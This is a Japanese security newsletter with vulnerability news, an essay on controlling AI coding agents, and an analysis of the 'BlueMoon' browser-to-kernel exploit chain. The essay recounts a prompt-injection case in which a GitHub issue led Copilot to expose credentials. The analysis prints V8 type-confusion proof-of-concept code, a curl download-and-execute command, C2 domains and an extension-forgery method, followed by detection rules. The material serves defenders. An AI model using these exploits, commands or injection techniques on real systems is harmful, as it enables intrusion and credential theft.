Stripeによると、エージェントだけで書かれた1,300件を超えるプルリクエストが毎週マージされています。エージェントはタスクを受け取り、プロジェクトを調べ、コードを変更し、テストを実行して、人間によるレビューのために変更案を返します。
このスピードがボトルネックを変えます。人間によるレビューは完成したコードを評価できますが、エージェントがそれを作る過程ですでに行った操作を取り消すことはできません。
今週は、エージェント型ソフトウェア開発ライフサイクルによって、コードが本番環境に届く前にチームが検証し、保護し、制御すべきものがどう変わるのかを見ていきます。
ほかにも:5分足らずでArtifactoryの管理者アクセスに到達した攻撃者、最大の重大度を持つGitLabの欠陥の実際の悪用、Cisco Secure Email Gatewayを標的にした悪意あるメール、180万のAndroidパッケージを対象にした自動化されたシークレット探し、パスキーを口実にしたクラウドへの侵入、Flutterアプリケーションを解析するためのreFlutterなどを取り上げます。
この号の内容
🌡️ 脅威レベル:高警戒
⚡ ニュース:押さえておきたいセキュリティニュース5本
🔎 ディープダイブ:AIが書いたPRが週1,300件。誰がそれを検証するのか
🎣 これはフィッシング?
🔬 技術研究:上流の修正がゼロデイになるとき:「BlueMoon」ブラウザーからカーネルへのエクスプロイトチェーンの内側
🛠️ 今週のツール:reFlutter
👏 今週の人物:Steve Springett
📅 今週のイベント:FOSDEM 2027
📚 今週の本:Fuzzing Against the Machine
😅 今週のミーム
❓ 最後にひとつ質問
では、始めましょう。
🌡️ 脅威レベル
⚡ ニュース
匿名アクセスから5分足らずでArtifactoryの管理者へ
Wizの9月10日の調査は、JFrogのセキュリティアドバイザリでも裏付けられており、攻撃者がセルフホストのArtifactoryサーバーに対してCVE-2026-42018とCVE-2026-42016を連鎖させていたことを明らかにしました。一方の欠陥は匿名ユーザーのトークンを露出させ、もう一方はその権限を昇格させました。一部の侵入では5分足らずで新しい管理者アカウントに到達し、その後、悪意あるプラグインとRust製のバックドアが続きました。パッチを適用したうえで、永続化の痕跡がないかアカウント、トークン、プラグインを確認してください。
最大の重大度を持つGitLabのファイル読み取りの欠陥が実際に悪用されている
GitLabの9月10日のパッチリリースは、リポジトリのcommits APIに存在するCVSS 10.0の脆弱性CVE-2026-85706を修正しました。特定の条件下では、認証されていない攻撃者がサーバー上の任意のファイルを読み取ることができ、設定や認証情報が露出するおそれがあります。BleepingComputerの報道によると、CISAはこの欠陥をKnown Exploited Vulnerabilitiesカタログに追加しました。セルフマネージドのインストールをアップグレードし、シークレットが露出した可能性を調査してください。
細工されたメール一通で、攻撃者がCiscoのゲートウェイのroot権限を得られる
Ciscoの9月14日のアドバイザリは、Secure Email GatewayのCVSS 9.8の欠陥CVE-2026-76461が実際に悪用されていることを確認しています。悪意あるメールがSQLインジェクションを引き起こし、脆弱な物理または仮想アプライアンス上でroot権限によるコマンド実行につながる可能性があります。The Hacker Newsの報道によると、Ciscoは悪意ある活動が検知された顧客に連絡を取っています。直ちにパッチを適用し、外部ネットワークとファイアウォールのログを確認してください。
180万のAndroidパッケージを自動スキャンしてシークレットを探索
Anthropicの9月の脅威レポートは、Claudeを利用した作戦について説明しています。この作戦では180万の異なるAndroid APKをダウンロードして逆コンパイルし、ハードコードされたシークレットを探しました。BleepingComputerの報道によると、検証された検出結果は、別のGitHubトークンのパイプラインとあわせて、認証情報の収集作戦に使われました。今後のリリースで古いコピーが無効になるわけではないため、コンパイル済みのリリースに再利用可能なシークレットがないか調べ、露出した認証情報は失効させてください。
パスキー更新の依頼がクラウド侵入の入り口に
Microsoftの9月9日の調査は、攻撃者がITスタッフになりすまし、従業員にパスキーやサインイン設定の更新を促していた手口を説明しています。この口実によって、被害者はフィッシングや、アカウントへのアクセスを許可するデバイスコードの承認へと誘導されます。The Hacker Newsの報道によると、攻撃者はその後、認証方法を追加し、メールやクラウド上のファイルを収集しました。サインイン、認証方法の変更、大量のデータアクセスを相関分析し、セッションを失効させ、許可されていない認証方法を削除してください。
🔎 ディープダイブ:
AIが書いたPRが週1,300件。誰がそれを検証するのか
2026年2月、Stripeの報告によると、AIエージェントだけで書かれた1,300件を超えるプルリクエストが毎週マージされていました。
この規模になると、コードを生み出すほうが、それを信頼できるかを確認するよりも速くなります。
Stripeのコーディングエージェントは、エンジニアからタスクを受け取り、プロジェクトを調べ、コードを変更し、チェックを実行します。その結果を使って修正を試みたうえで、人間によるレビューのために変更案を返します。エンジニアは、途中のすべてのステップを指示することなく、返ってきたものをレビューします。
人間によるレビューは完成したコードを評価できますが、エージェントがそれを作る過程ですでに行った操作を取り消すことはできません。
たとえば、エージェントがタスクの途中でプロジェクトの機密情報を外部サービスに送信した場合、後からそのコードを却下しても、情報の開示を取り消すことはできません。
このような作業の分担が、エージェント型ソフトウェア開発ライフサイクルの基礎です。略してエージェント型SDLCです。
同じモデルは、コーディングとテストを超えて、計画、設計、コーディング、テスト、レビュー、保守にまで広げることができます。人が目標を設定して重要な判断を下し、エージェントがより多くの作業を実行します。
ここから、セキュリティ上の2つの問いが生まれます。エージェントが生み出すものを、チームは信頼できるのか。そして、作業がレビューに届く前に、エージェントが行うことを制御できるのか。
最終レビューだけでは不十分な理由
OrcaのRoguePilotに関する研究は、プルリクエストがレビュアーに届く前に何が起こり得るかを示しています。
注:RoguePilotは、GitHub Codespacesに特有のエクスプロイトチェーンに依存しており、それはすでに修正されています。
GitHubのissueに隠された指示が、Codespaces内のGitHub Copilotに渡されました。周辺ツールの弱点と組み合わさることで、アクセス用の認証情報が露出し、攻撃者がリポジトリを乗っ取れる可能性がありました。
レビュアーがプルリクエストを目にする頃には、その認証情報はすでに露出しているかもしれません。結果として作られたプルリクエストを却下しても、その侵害を取り消すことはできません。
保護が必要なのはプルリクエストだけではありません。エージェントのアクセスと操作も重要です。
責任はレビューの前から始まる
RoguePilotは、最終的なコードレビューが唯一のチェックポイントであってはならない理由を示しています。責任はタスクが定義された時点で始まり、構築、検証、リリースを通じて続きます。
SDLC全体における人間とエージェントの役割。出典:Claude Academy、CodeRabbit。
最終レビューは、チェックポイントの一つにすぎません。セキュリティは、タスクを形づくり、エージェントがアクセスできるものと実行できることを制限し、結果を検証し、本番環境に届くものを制御しなければなりません。
エージェントが動く前に必要なもの
エージェントが安全かつ効果的に作業するには、タスクのタイトル以上のものが必要です。
「チェックアウトを速くして」は明確に聞こえます。しかしそれは、ページの読み込みを速くすることかもしれませんし、顧客の手順を減らすことかもしれませんし、支払いの確定を早めることかもしれません。解釈ごとに、異なる変更につながる可能性があります。
タスクを明確にするのは、次の4つの情報です。
明確な成果:意図した結果では、「速い」が何を意味するのか、改善をどう測るのか、何を変えてはならないのかを説明すべきです。そこには、顧客が自分の注文にしかアクセスできないようにするといったセキュリティ要件も含まれます。
現在のプロジェクトのコンテキスト:エージェントは、チェックアウトの仕組み、接続先のシステム、プロジェクトのコーディング規約、期待される挙動を記述したテストを理解しておくべきです。
過去の判断:以前の試みが、現在のコードからはエージェントが知り得ない理由で失敗したり却下されたりしているかもしれません。そうした教訓をプロジェクトの共有ガイダンスに記録しておけば、同じ過ちの再発を防げます。
信頼できる唯一の情報源:コーディングエージェント、テストエージェント、レビュアーは、承認された同じ要件に基づいて作業すべきです。判断が変わったときは、その更新が関係者全員に届かなければなりません。
チェックアウトに関する新しい要件がコーディングエージェントには届いても、テストエージェントに届かなければ、両者は異なるバージョンのタスクに基づいて作業を続けることになりかねません。コードは正しく見えても、テストは間違った挙動をチェックしているかもしれません。
エージェントは、間違ったタスクを非常に効率よく完了させることができます。スピードを有益な作業に変えるのは、明確で最新の指示です。
エージェントが生み出すものを検証する
明確なタスクは、エージェントに何を作るべきかを伝えます。結果が機能することを証明するものではありません。
タスク中のテスト
エージェントはコードを変更し、チェックを実行し、失敗を調べ、再試行できます。一つひとつの結果が、次に何を修正するかの判断材料になります。
チェックアウトの例でいえば、テストによって、変更案が注文を二重に記録してしまうことが判明するかもしれません。エージェントはその失敗を調査し、コードを修正し、テストを再実行できます。
それでも、ほかの問いには答えが出ていません。支払いの確定は機能するのか。既存の注文記録は保持されるのか。各顧客は自分の情報にだけアクセスできるのか。
テストに合格したことは、チェックされた一つの挙動のエビデンスであり、変更全体が安全であることの証明ではありません。
承認前のより広範なチェック
承認の前に、変更案はより広範な検証を経ます。より包括的なテスト、コード解析、セキュリティチェック、人間によるレビューなどです。
それぞれのチェックは、異なる問いに答えます。購入が成功したことで証明されるのは、すべてがうまくいったときに機能が動作することだけです。支払いが拒否されたときに失敗したり、ある顧客の情報が別の顧客に露出したりする可能性は残ります。
したがって、承認は、何がチェックされたのか、それらのチェックがどの要件をカバーしているのか、何が未解決のままなのかを把握できているかどうかにかかっています。
検証が追いつかなくなるとき
エージェントは、人が調べられるよりも速く変更を生み出すかもしれません。そうなると、提案された作業が実装と承認の間に積み上がり始めます。
Sonarはこの滞留を「検証負債」と呼んでいます。生み出されたものの、その信頼性と安全性がまだ確認されていない作業のことです。
コードを書く時間の節約分が、テスト結果のレビュー、失敗の調査、何をリリースしてよいかの判断に費やされる時間に変わることもあります。
修正の試みを繰り返せば、時間と計算リソースも消費します。公開されているMinionsのワークフローでは、Stripeはより広範な自動テストを最大2ラウンドまでしか許可しておらず、その後は作業を人に戻して詳しく調べてもらいます。
ボトルネックは移動しました。コードを生み出すことは、それが準備できていると証明することよりも簡単になりつつあります。
エージェントのアクセスと操作を制御する
検証は、エージェントが生み出した結果を調べるものです。結果を生み出す過程でエージェントが何にアクセスでき、何を実行できるかを決めるものではありません。
チェックアウトに取り組むエージェントには、プロジェクトのファイルを変更し、テスト環境を使う権限が必要かもしれません。しかし、実際の顧客記録、本番環境の決済設定、接続されたすべてのシステムへのアクセスが必要とは限りません。
エージェントにはタスクに必要なアクセスだけを与える
アクセスは、実行する作業に見合ったものであるべきです。タスクに不要なファイル、ツール、アカウント、システムは利用できないままにしておきます。
操作によっては、ほかよりもリスクが高いものもあります。テストファイルを読むことと、本番データを変更したり外部サービスに情報を送信したりすることは別物です。影響の大きい操作は、人が承認するまで一時停止させることができます。
権限と隔離された環境で制限を強制する
書面での指示によって、エージェントにあるシステムへアクセスしないよう伝えることはできます。しかし、エージェントがすでに権限を持っていれば、そのアクセスを防ぐことはできません。
モデルの外側にある制御が、その境界を提供します。制限付きのアカウント、ツールの権限、隔離された開発環境、外部接続の制限、承認要件などです。
エージェントが予期しない動作をしたり、誤解を招く指示に従ったりしても、こうした制御によって、どこまで進めるかが制限されます。
エージェントがアクセスしたものと行ったことを記録する
承認は、最終的なコード以上のものを対象にすることで、より強固になります。タスクの記録には、エージェントがどのファイルにアクセスし、どのツールを使い、どんな変更を加え、どの操作が人間による承認を受けたかを示すことができます。
そのエビデンスは、エージェントが何を生み出したかだけでなく、どのようにそこにたどり着いたかをレビュアーが理解する助けになります。
指示は、エージェントが何をすべきかを伝えます。権限は、エージェントが何をできるかを決めます。
エージェント型SDLCに備える
エージェント型SDLCは、人間の責任をなくすものではありません。責任を移動させるのです。
エージェントが実装、テスト、調査をより多く担うにつれて、人はタスクの定義、制限の設定、エビデンスの検討、リリースに進めるものの判断により多くの時間を費やすようになります。
そのため、周辺の開発プロセスの弱点がより重大な結果をもたらすようになります。不明確な要件はエージェントを間違った目標へ向かわせかねません。過剰なアクセスはミスの被害を大きくしかねません。不完全なテストは、準備ができていない変更に対して誤った確信を生みかねません。
実行が速くなれば、誰かが気づく前に、そうした弱点がより遠くまで運ばれてしまう可能性があります。
この変化に備えるということは、エージェントに明確な指示を与え、アクセスできるものと実行できることを制限し、リリース前にその作業を検証することです。こうした制御の維持、結果のレビュー、失敗の解決に費やす時間も、効果を評価する際には必ず含めるべきです。
進歩の本当の尺度は、エージェントがどれだけ多くのコードを生み出すかではなく、そのうちどれだけをチームが検証し、保護し、自信を持ってリリースできるかになるでしょう。
🎣 これはフィッシング?
「Microsoft account team」から、使い捨てのセキュリティコードが記載されたメールが受信トレイに届きました。サインインを試みたことも、コードを要求したこともありません。
メッセージと送信者の詳細をよく見てください。
正規のMicrosoftのメールか、フィッシングの試みか。
🔬 技術研究
上流の修正がゼロデイになるとき:「BlueMoon」ブラウザーからカーネルへのエクスプロイトチェーンの内側
オープンソースのセキュリティパッチが、アップデートが配布される前に、30億のブラウザーに対する攻撃の武器になり得るのか。
ブラウザーのセキュリティアーキテクチャは、多層的な封じ込めを前提に設計されています。JavaScriptエンジンが破られても、ユーザー空間のサンドボックスがクラッシュを閉じ込めます。サンドボックスが揺らいでも、オペレーティングシステムのカーネルがプロセスの分離を強制します。「BlueMoon」エクスプロイトキットは、この防御のすべての層を10秒足らずで解体しました。
Web Worker → インライン化されたsortの型混同 → V8サンドボックスエスケープ → WindowsカーネルのALPCによるLPE → Medium Integrityのブローカーによるサンドボックス脱出
このキャンペーンでは、Google Chromeの2つのゼロデイと、Microsoft Windowsカーネルのローカル権限昇格のゼロデイが武器化されました。2026年9月9日にProofpointとVolexityが公表したBlueMoonは、JungleBamboo(APT31 / TA412)やUTA0560を含む国家と連携した脅威アクターによって、防衛、外交、非政府組織を標的に実際に使われました。
BlueMoonが歴史的に重要なのは、技術的な巧妙さだけでなく、そのタイミングです。主要な脆弱性であるCVE-2026-85046は、2026年8月4日にChromiumプロジェクトに報告され、8月7日に公開のオープンソースGitリポジトリで修正されました。しかし、コンパイル済みの安定版アップデート(Google Chrome 153)がユーザーのデスクトップに届いたのは9月3日でした。攻撃者はこの4週間の「パッチギャップ」の間に公開ソースコードの差分をリバースエンジニアリングし、上流のパッチを、世界中のインストールベースに対するゼロデイへと武器化したのです。
ChromeとWindowsの両方の脆弱性は、その後、CISAのKnown Exploited Vulnerabilities(KEV)カタログで緊急の修復が義務付けられました。
┌────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ THE BLUEMOON EXPLOIT ARCHITECTURE │
└────────────────────────────────────────────────────────────────────────────────────────────────────────┘
[ Spear-Phishing / Reflected XSS ]
│
▼
┌──────────────────────────────┐
│ HTML Exploit Stager │ • Hidden iframe loads page.html (BUILD: b20260829a)
│ (Files1.html + react.js) │ • Decoy donation form displayed to mask background activity
└──────────────┬───────────────┘
│ Spawns dedicated Web Worker (isolates renderer crashes; 5x retry loop)
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 1: V8 TYPE CONFUSION (CVE-2026-85046) │
│ • Array.prototype.sort inlining bug in Maglev/TurboFan (TryReduceArrayPrototypeSort) │
│ • Element kind backwards migration via mid-sort Array.prototype.fill(0) │
│ • Result: PACKED_ELEMENTS confused as PACKED_SMI_ELEMENTS -> addrof & fakeobj heap primitives │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Arbitrary Read/Write within 4GB V8 Heap Cage
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 2: V8 SANDBOX ESCAPE (CVE-2026-87491) │
│ • WebAssembly instance metadata (WasmInstanceObject) and function jump tables corrupted │
│ • Overwrites compiled executable code pointers (RWX pages) │
│ • Executes embedded reflective shellcode (p1: Host Reconnaissance DLL) │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Low-Integrity / Untrusted Renderer Process Context
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 3: WINDOWS KERNEL LPE (CVE-2026-85880) │
│ • Executes reflective DLL payload p2 targeting ntoskrnl.exe (RtlpCreateServerAcl) │
│ • ALPC / WNF heap buffer overflow -> Kernel Read/Write │
│ • Locates renderer EPROCESS token -> elevates privileges & enables SeDebugPrivilege │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Elevated Token Privilege
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 4: BROKER INJECTION & SANDBOX BREAKOUT (Payload pp) │
│ • Injects shellcode into parent Chrome Browser Broker process (Medium Integrity) │
│ • Calls CreateProcessA() to execute command outside the sandbox: │
│ cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe" │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────────────────┐┌──────────────────────────────┐
│ CAMPAIGN A: UTA0560 ││ CAMPAIGN B: JUNGLEBAMBOO │
│ • Sideloads wsc.dll via ││ • SUPERSTOMP loader bypasses │
│ msgbox.exe dropper ││ Chrome Secure Preferences │
│ • Scheduled Task persistence ││ • Recalculates legacy │
│ • In-memory GRIMWEDGE ││ super_mac HMAC │
│ JScript C2 backdoor ││ • Deploys LONGTALE extension │
│ inside msiexec.exe ││ (masquerading as Gemini AI)│
└──────────────────────────────┘└──────────────────────────────┘
1. ソートの前提とV8ヒープケージの突破(CVE-2026-85046)
JavaScriptの実行を高速化するため、V8の最適化コンパイラー(MaglevとTurboFan)は、組み込み関数の呼び出しオーバーヘッドを積極的に削減します。Array.prototype.sortを処理する際、コンパイラーはsrc/maglev/maglev-graph-builder.ccのTryReduceArrayPrototypeSortをチェックします。配列の要素が16未満で、要素の種類が既知かつ均一であれば、コンパイラーは標準のTimSortビルトインを軽量なインライン挿入ソートに置き換えます。
checkReceiverMaps();
temp = copy(receiver.elements);
insertionSort(temp, comparefn);
checkReceiverMapsAndLength();
copy(temp, receiver.elements);
任意のJavaScript比較関数(comparefn)は任意の副作用を実行できるため、V8は配列をその場でソートしません。代わりに、要素を一時的なFixedArrayにコピーし、そのコピーに対して挿入ソートを実行し、ソート結果をレシーバーのバッキングストアに書き戻します。
結果を書き戻す前に、V8はCheckMapsガードを使って、比較関数の実行中にレシーバーのレイアウトが変わっていないことを検証します。
// src/maglev/maglev-graph-builder.cc
if (receiver_maps_were_unstable) {
RETURN_IF_ABORT(AddNewNode<CheckMaps>(
{receiver}, receiver_maps_before_loop, CheckType::kOmitHeapObjectCheck));
}
致命的な欠陥は構造的なものでした。コンパイラーは、配列の現在のmapが元のソート前の型と同一のままであることを検証するのではなく、ループ開始前に観測されたmapのいずれか(receiver_maps_before_loop)であることを検証していたのです。
JIT関数を整数の配列(PACKED_SMI_ELEMENTS)とオブジェクトの配列(PACKED_ELEMENTS)の両方でウォームアップすると、フィードバックベクターは両方のmapを有効な候補として記録します。
function confuse(arr) {
function compare() {
arr.fill(0); // Mutates element kind backwards mid-sort!
return 0;
}
arr.sort(compare);
}
// Train Maglev to accept both SMI and Object maps
for (let i = 0; i < 1000; i++) {
confuse([6, 9, 4, 2, 0]);
confuse([{}, {}, {}]);
}
[図1:複雑なオブジェクトポインターに整数のタグを誤って付け、セキュリティガードをすり抜けて制限されたV8ヒープケージに送り込む機械式のソートアーム]
通常のV8のルールでは、配列の要素の種類は具体的なものから一般的なものへと前方にしか遷移しません(PACKED_SMI → PACKED_ELEMENTS)。オブジェクトの配列が、ひとりでに整数の配列に変わることはありません。しかし、Array.prototype.fill()には特殊な最適化があります。配列のすべての要素を置き換える場合、V8は古い値が残らないことを認識し、mapを後方へ移行させるのです。
// src/builtins/builtins-array.cc: is_replacing_all_elements branch
// For the case where we are replacing all elements, we can migrate the
// map backwards in the elements kind chain and ignore the current contents.
JSObject::SetMapAndElements(isolate, array, new_map, elements);
compare()の内部でarr.fill(0)が実行されると、レシーバーのmapは直ちにPACKED_SMI_ELEMENTSに降格されます。ソート処理が終わると、PACKED_SMI_ELEMENTSは学習時の集合に含まれていたため、V8の欠陥のあるCheckMapsは通過します。その後V8は、ソート済みのオブジェクトポインターをtempからレシーバーへ無条件にコピーし戻します。
結果は壊滅的です。JavaScriptエンジンが小さな整数(Smi)を保持していると扱う配列に、実際には生の32ビットのタグ付きオブジェクトポインターが含まれることになります。
実機での再現検証
Google Chromeでこのプリミティブをテストすると、即座にメモリ破壊によるリークが発生します。
let bad = [{}, {}];
confuse(bad);
// Calling String() formats elements according to the PACKED_SMI map:
// Rather than returning "[object Object],[object Object]", it prints raw pointer integers!
let raw_leaks = String(bad);
// Output: "9055778,9055796"
// Reconstructing the 32-bit V8 Cage Compressed Pointer:
let addrof_target = (Number(raw_leaks.split(',')[0]) << 1) | 1;
// Output: 0x1145c45
[図2:Chrome 150での実機再現。V8 Maglevの型混同による変化と、addrofプリミティブによる圧縮ヒープポインターの抽出を示している]
V8は要素をSmiとして扱うため、ヘルパーメソッドを通じて読み取るとヒープのオフセットが直接リークします(addrof)。逆のプリミティブ(fakeobj)を実現するため、BlueMoonはOld Spaceの配列に対してArray.prototype.unshift(0)を呼び出してV8のガベージコレクターのライトバリアを回避し、タグ付きポインターを管理されていないスロットへずらして、V8ヒープ全体に対する任意の読み書きアクセスを持つ偽造Float64Arrayを作り出します。
2. V8サンドボックスのケージを破る(CVE-2026-87491)
Googleは、エンジンのメモリ破壊を無力化するためにV8 Sandbox(ヒープケージ)を導入しました。攻撃者が4GBのV8仮想アドレス空間内で任意のメモリ読み書きを実現したとしても、ケージ外を指すポインターはベースレジスター(r14)を基準とした32ビットのインデックスとしてエンコードされるため、ホストのメモリ、スタックフレーム、実行可能コードへの直接の書き込みは防がれます。
BlueMoonはCVE-2026-87491を使ってこの境界をバイパスし、WebAssemblyの内部メタデータ構造を標的にしました。
[図3:バックグラウンドのWeb WorkerからWebAssembly、WindowsカーネルのALPCを経て、ホストのブローカーでの実行へと流れる、直線的な機械式の連鎖反応]
JavaScriptのオブジェクトは4GBのケージに閉じ込められていますが、WebAssemblyエンジンはネイティブの実行可能コードページへの高速なアクセスを必要とします。コンパイル済みのWebAssemblyインスタンス(WasmInstanceObject)は、ネイティブメモリを指す64ビットの関数ジャンプテーブルとメモリ記述子の参照を直接保持しています。
V8ヒープでの任意の読み書きプリミティブを使い、BlueMoonは次のことを行います。
ヒープをスキャンして、標的のWasmInstanceObjectを特定する。
インスタンスの内部ジャンプテーブルのポインターとメモリの境界を破壊する。
ジャンプテーブルの飛び先を、位置独立のシェルコードを含む実行可能ページにリダイレクトする。
エクスポートされたWebAssembly関数をJavaScriptから呼び出し、直ちにV8 Sandboxを抜け出して、Chromeのレンダラープロセス内でネイティブの64ビットCPU実行に移る。
エクスプロイトチェーン全体は、ページ側のステージャー(page.html)がBlob URLから生成したバックグラウンドのWeb Worker内で実行されます。ヒープ操作中に回復不能なクラッシュが起きても、終了するのはワーカースレッドだけで、表示されているブラウザーのタブにはまったく影響しません。メインウィンドウのステージャースクリプトは実行の試行回数をsessionStorage[’v8ctf_exp_attempt’]で追跡し、スレッドが終了するとワーカーを最大5回まで静かに再生成します。
3. サンドボックスからの脱出:カーネルALPCのLPEとサンドボックスブレイクアウト(CVE-2026-85880)
V8サンドボックスから抜け出すと攻撃者はネイティブコードに到達しますが、まだGoogle Chromeの堅牢化されたレンダラーサンドボックスの中にいます。レンダラープロセスは、制限されたAppContainer内でUntrusted / Low Integrityとして実行され、次の制約を受けています。
ファイルシステムへの書き込みアクセスはゼロ
ネットワークスタックへのアクセスは制限付き
プロセス間ハンドルは不許可
オペレーティングシステムのサンドボックスから脱出するため、BlueMoonはメモリ上にあらかじめ配置した3つの位置独立のペイロードを順番に展開します。
1. ペイロードp1:ホストのテレメトリと整合性レベルの調査
p1は、64ビットの偵察用DLLをリフレクティブに展開する位置独立のローダーです。破壊的な操作を行うことなく、ホスト環境を調査します。
Windowsの正確なビルド番号、カーネルのリビジョン、CPUIDの機能を抽出する。
プロセストークンの特権、トークングループ、整合性レベルを列挙する。
仮想化とサンドボックスの痕跡を検出する(ハイパーバイザーのベンダーのCPUID文字列で、VMware、Hyper-V、KVM、Xenを区別する)。
DLLはこのデータをJSONプロファイルにシリアライズしてJavaScriptに返します。呼び出し元のスクリプトは、Windowsのビルド番号を調べて、カーネルエクスプロイトが有効かどうかを判断します。
2. ペイロードp2:Windowsカーネルの権限昇格(CVE-2026-85880)
ホストがWindows 10(ビルド1809から22H2)、Windows Server 2022、Windows 11 21H2を実行している場合、スクリプトはp2を起動します。
p2は、ntoskrnl.exeのAdvanced Local Procedure Call(ALPC)およびWindows Notification Facility(WNF)サブシステム内のRtlpCreateServerAclを標的にした、単一目的のWindowsカーネルのゼロデイエクスプロイトです。低い整合性レベルのレンダラープロセスから不正な形式のALPCメッセージ属性構造体を送信することで、エクスプロイトはカーネルヒープのバッファオーバーフローを引き起こします。
エクスプロイトはカーネルメモリを操作して、次のことを行います。
呼び出し元のChromeレンダラープロセスのEPROCESS構造体を特定する。
プロセスのプライマリTOKEN構造体を上書きする。
SeDebugPrivilegeを有効にし、レンダラーのセキュリティコンテキストを昇格させる。
3. ペイロードpp:ブラウザーブローカーへのインジェクションとサンドボックスブレイクアウト
カーネルエクスプロイトはレンダラーのTOKENを操作してSeDebugPrivilegeを付与し、アクセスを昇格させますが、レンダラーから直接プロセスを生成しても、それらはAppContainerと隔離されたウィンドウステーションの中に閉じ込められたままです。ファイルシステムとネットワークの完全な権限を持つ、制約のないデスクトップでの実行を実現するため、ppのシェルコードスタブは昇格したカーネル権限を利用して、親であるChromeのブラウザーブローカープロセスへのハンドル(PROCESS_ALL_ACCESS)を開きます。
ブラウザーブローカーは対話型ユーザーセッション内で標準のMedium Integrityで実行されているため、ブローカーにシェルコードを注入することで、ppはサンドボックスの外でCreateProcessAを呼び出せます。
cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"
ブレイクアウトは完了です。サンドボックス化されたWeb Worker内の権限のないスクリプトとして始まったものが、今やユーザーの対話型デスクトップ環境で任意のバイナリを実行しています。
4. 実際に確認されたキャンペーンと分岐するポストエクスプロイト
UTA0560とJungleBambooは1バイト単位まで同一のエクスプロイトステージャー(page.html、p1、p2、pp)を使っていましたが、最初のドロッパーが実行された後のポストエクスプロイトの活動はまったく異なるものでした。
[図4:ChromeのSecure Preferencesの改ざん、Gemini拡張機能へのなりすまし、コマンドラインでのcurlの実行、スケジュールされたタスクによる永続化を関連付けたフォレンジックビュー]
キャンペーンA:UTA0560とGRIMWEDGEバックドア
UTA0560は、米国の大学のWebサイトに存在する反射型XSSの欠陥を悪用して被害者をcloud[.]shinewrist[.]netへリダイレクトするフィッシングメールを使い、非政府組織を標的にしました。
ドロッパー(msgbox.exe):2026年8月31日にコンパイル。正規のWindowsバイナリと、悪意あるサイドローディング用DLL(wsc.dll)を展開する。
永続化:「Windows Scheduled System」という名前のWindowsのスケジュールされたタスクを作成し、5分ごとにサイドローディングのチェーンを再実行するよう設定する。
ステージング:hxxps://cloud[.]shinewrist[.]net/<path>/%COMPUTERNAME%.txtにビーコンを送信し、マシン固有のMSIペイロード(Temp.txt)を取得する。
GRIMWEDGEバックドア:MSIが難読化されたJScriptのペイロードを展開し、msiexec.exe内のメモリ上で直接評価する。GRIMWEDGEは250行のコンパクトなバックドアで、ディレクトリの列挙、プロセスの終了、ファイル転送、隠れたコマンド実行など、10種類のリモートコマンドをサポートする。
キャンペーンB:JungleBambooとLONGTALEによる拡張機能の乗っ取り
JungleBamboo(APT31)はマルウェアの展開を完全に省き、代わりにSUPERSTOMPとLONGTALEによる隠密な認証情報の収集に注力しました。
SUPERSTOMPはChromeのプロファイルディレクトリを標的にし、公式の「Google Gemini AI Assistant」を装った永続的な拡張機能をインストールします(拡張機能ID:ckiknalbeplpcpofpnabcnhjcegckfei)。
Chromeのセキュリティアラートを発生させずに拡張機能を密かにインストールするため、SUPERSTOMPはChromiumの整合性検証を突破します。
Chromiumは、プロファイルのSecure Preferences JSONファイルをHMACの認証子(設定ごとの*_encrypted_hashとsuper_encrypted_hash)で検証する。
SUPERSTOMPはSecure Preferencesをコピーし、新しい暗号化ハッシュのフィールドをすべて取り除いて、悪意ある拡張機能の設定を挿入する。
有効なレガシーHMACハッシュを計算し、ファイルのsuper_macを更新する。
暗号化された認証子がない場合、ChromeはレガシーHMACへのフォールバックを許可するため、ブラウザーは起動時に偽造されたファイルを有効と判断し、プロファイルを移行が必要なものとしてマークして、攻撃者の拡張機能に対する有効な暗号化ハッシュを自動的に生成する。
読み込まれると、LONGTALEは完全にChromeのセキュリティコンテキスト内で動作します。
すべてのタブでキー入力、フォーム入力、クリップボードの貼り付けイベントを記録する。
CookieとlocalStorage / sessionStorageのトークンを抽出する。
ユーザーの閲覧が機密性の高いキーワードのトリガーに一致するたびに、自動でスクリーンショットを取得する。
Cloudflare Tunnels(cfargotunnel[.]com)の背後でホストされたC2サーバーと通信する。
5. 防御のプレイブックとフォレンジックのテレメトリ
主にメモリ上で実行されるエクスプロイトチェーンを検知するには、ブラウザーのプロセスがオペレーティングシステムとやり取りする境界を監視する必要があります。
1. エンドポイントのプロセステレメトリとSigmaルール
通常の運用では、Google Chromeのブラウザーブローカープロセスも、その隔離された子プロセスも、Windowsのシステムユーティリティ、コマンドインタープリター、ネットワーククライアントを生成することはありません。BlueMoonは親であるChromeのブラウザーブローカー(chrome.exe)にシェルコードを注入してCreateProcessAを呼び出すことでサンドボックスを脱出するため、ブラウザーブローカーが直接生成する異常な子プロセスを監視することが、効果的で精度の高い検知ポイントになります。
title: Suspicious Chrome Process Creation Outside Sandbox
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\chrome.exe'
selection_children:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\curl.exe'
- '\msiexec.exe'
condition: selection_parent and selection_children
falsepositives:
- Rare enterprise web apps triggering local registered protocol handlers
level: critical
2. Secure Preferencesの改ざんを調査する
LONGTALEのような隠密な拡張機能のインストールを特定するには:
拡張機能のディレクトリを調べる:%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensionsをスキャンし、一覧にない拡張機能IDやサイドロードされたフォルダーがないか確認する。
Secure Preferencesを監査する:メインのブラウザープロセスの稼働期間外に発生したSecure Preferencesへの書き込みや、新しい暗号化ハッシュがファイルから消えるといった急な後退を監視する。
3. 「パッチギャップ」の現実
